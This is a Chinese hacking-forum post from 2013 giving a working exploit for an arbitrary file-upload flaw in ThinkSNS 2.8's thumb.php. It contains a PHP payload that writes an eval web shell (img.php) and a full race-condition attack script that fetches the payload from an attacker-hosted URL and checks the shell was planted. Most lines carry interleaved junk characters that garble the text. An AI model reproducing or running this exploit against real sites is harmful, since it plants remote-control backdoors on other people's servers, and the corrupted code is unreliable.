找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2138|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞版本
- W' ^* A" @2 W存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过), \- Y% C& v$ D7 Z5 ^! W, g2 P
漏洞文件
+ Q! f0 |# h; p! N& z( O存在漏洞的文件为:thumb.php/ i- a0 U* k( b: D: q$ m4 t
作者:韦鲲鹏
3 h7 }/ i+ W/ D6 F; @5 i. U" v0 E1、        准备如下PHP文件并上传到服务器(自己的)。
( D  e) j' y7 K5 z% @/ F4 h文件内容如下:
! c' E0 Z1 p" G7 ]5 b<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
% R& Y) l( m0 g9 L# x" ~5 [2、        计算出临时的文件名:$ c" A7 e/ Z9 X9 {
这里我们可以看文件的99行(刚刚是不是没注意呀!)。6 O! y% L( s( m7 w

' m0 N& E* b6 ^3、        上传临时文件。- i; H& g6 W7 m* i& `: i0 N
4、        访问临时文件。
1 t* M% c: D2 |3 U5 s但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)( ^/ x. o9 F# w6 h6 {7 |
Exploit文件内容如下:(这个我就不详细解释了)) Y4 N5 B; @, `/ l& U8 P$ A7 E4 n
<?php
4 I* k& z' T6 ]5 w7 z  |error_reporting(0);
6 O% R9 m( F6 q. r/ x) Kset_time_limit(0);. W. m8 m, V- I9 V
ini_set(“default_socket_timeout”, 5);* c! c- S* j' {  d, U8 d
function http_send($host, $port, $headers) {' ]/ a* e4 X8 u- o) Z' G5 k
$fp = fsockopen($host, $port);1 ~9 F! b4 Z7 y3 ~- u
if (!$fp) die(‘Connection -> fail’);
2 P) t. x) o4 k- \% M/ pfputs($fp, $headers);/ F/ @8 V+ g  O) s8 f
return $fp;  |% n- _) a4 u" e+ r( s
}4 ?: e( K1 l; V% ?$ G
function http_recv($fp) {
2 \( O/ x6 Z. w2 g9 f  Q$ret=”";
4 u* D9 y3 ^9 o7 nwhile (!feof($fp))
# a: G4 U) j) W  h5 X, q$ret.= fgets($fp, 1024);4 ?, K: ?7 B) J* X; p
fclose($fp);5 E* k  M; n, `) \, N. l, m: _
return $ret;, E) |* e+ p8 h- W, B2 K- @
}" G3 @# t3 ]+ B- N
print “\n#  ThinkSns Arbitrary File Upload   #\n”;. b4 o  s% U( l, X+ x1 F( _) o
print “# Discovered by 韦鲲鹏 #\n\n”;8 o  e" w$ s8 h; e* G8 m" b2 p* X
if ($argc < 4) {, e, H8 G/ z' ~3 D8 o* k! a, ^
print “Usage:   php <host> <path> <romote_url>\n”;. Y& _# L0 ~/ B6 m1 ]  v
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;0 w* B; F  Q! n* f8 c
die();) c  d$ ~) R) w' P
}0 N" v- i; w( {% a% F1 o5 G
$host = $argv[1];
# w" m  A/ L1 A8 z8 }/ w9 d1 I$path = $argv[2];3 X1 d) w( P4 A. Z/ f" L8 Y
$url = $argv[3];
" W6 i- @! q& @6 L7 K9 {$ e+ x# N) H$i=0;6 t) b9 M9 }# @8 I5 H1 C7 J6 }6 z
//上传数据包7 _5 G; E8 b5 N! x
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;# L' Q3 }3 c+ F8 J# C
$headers_up .= “Host: “.$host.”\r\n”;' F- B3 A% ?/ P
$headers_up .= “Connection: close\r\n\r\n”;
! ]' Z2 W& u- r' pecho $headers_up;
/ e7 {+ e9 M5 ~5 o; Y$ P0 Z//临时文件访问数据包! y8 {5 m! T" X7 f) L8 m' b  j6 Y
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;9 p: p  |/ V1 D* r/ I
$headers .= “Host: “.$host.”\r\n”;
4 x9 ?% u( b* h  W" w1 M/ F5 S7 l$headers .= “Connection: close\r\n\r\n”;
4 p9 e4 T4 M: k, i8 n6 G- M7 Yecho $headers;" l: t4 e6 ]7 y- v! Y! M5 Z1 Q
while(++$i<10) {6 t/ a( O; n% O! i  w. V
fclose(http_send($host, 80, $headers));
) s; I0 L' M+ O0 I! V3 }7 V9 z}
; r$ M( W4 f: L5 P1 Yfclose(http_send($host, 80, $headers_up));& r: z! U5 l% ]1 z, s2 C" v
while(++$i<50) {
6 [4 @) u( ^: W/ t! `fclose(http_send($host, 80, $headers));; r4 G0 _, r+ O1 N" F% a
}
! O5 \4 l( W# ^* C$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
/ T) s  ]/ P' ~( f- X3 J$headers .= “Host: “.$host.”\r\n”;& h/ G& e4 s0 N8 k' v" W) q
$headers .= “Connection: close\r\n\r\n”;" H# r" `  k% U* l& L( F- Y: n
$res=http_recv(http_send($host, 80, $headers));
! t6 X3 P7 @& t8 Q" R# ^5 x, Oif(preg_match(‘/200 OK/’,$res)) {
- e+ n  |) |2 H: {! Fprint “Success!\n\n”;- q  I# J) G" y. G5 e$ o
} else {
) D1 a% K5 ?! _1 ]" Cprint “Fail!\n\n”;9 v6 j$ h$ }* N# |9 m0 [) c. y; M
}
: h) o9 V2 P5 s# l?>$ o" h5 z% x5 F6 M' y% u
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表